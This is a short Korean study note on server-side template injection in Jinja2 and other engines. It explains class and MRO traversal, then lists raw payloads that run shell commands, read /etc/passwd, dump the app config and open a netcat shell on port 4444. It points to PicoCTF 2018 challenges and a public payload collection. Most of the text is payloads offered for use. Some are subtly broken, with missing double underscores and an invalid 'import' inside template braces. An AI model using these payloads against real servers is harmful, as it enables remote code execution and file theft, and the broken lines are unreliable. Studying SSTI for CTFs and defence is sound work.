WEB - SSTI
SSTI 인젝션같은경우 항상 치트시트만 보면서 공부를해와서 이번 기회에 정리를 하려고한다.
그래서 좀 더 자세한 동작원리를 기본으로하여 공부하려고 한다.
SSTI Injection 같은 경우 HTML 템플릿 샌드박스에서 발생하는 취약점이다.
즉 HTML 내에서 서버내 코드를 편하게 사용하여 디자인을 간편하게 해주는 기능이다.
종류로는 Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2, 가 있다.
위와 같은 방법으로 해당 템플릿 종류를 추론할 수 있다.
Jinja2 기준
__class__.__base__.__subclasses__ 알아보자.
__bases__.subclasses는 이 함수는 서브 클래스의 모든 함수를 반환 해주는 함수이다.
MRO(method resolution order) 는 클래스를 상속했을때 메서드를 가져오는 순서를 의미한다.
__class__.mro()[1].__subclasses__()[46] 이런식으로 해당 클래스내 객체에 접근 한다.
{{ '7'*7 }}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ config.items() }}
{{ config.from_object('os') }}
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
{{ import os; os.startfile("nc -lnvp 4444 -e /bin/sh") }}
참고할만한 좋은 자료
2018 PicoCTF
1. Flaskcards
2. Flaskcards_Skeleton_key
3. Flaskcards_and_Freedom
Flask 세션 인코딩 디코딩 툴 : https://github.com/noraj/flask-session-cookie-manager
SSTI INJECTION CHEET SHEET
: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection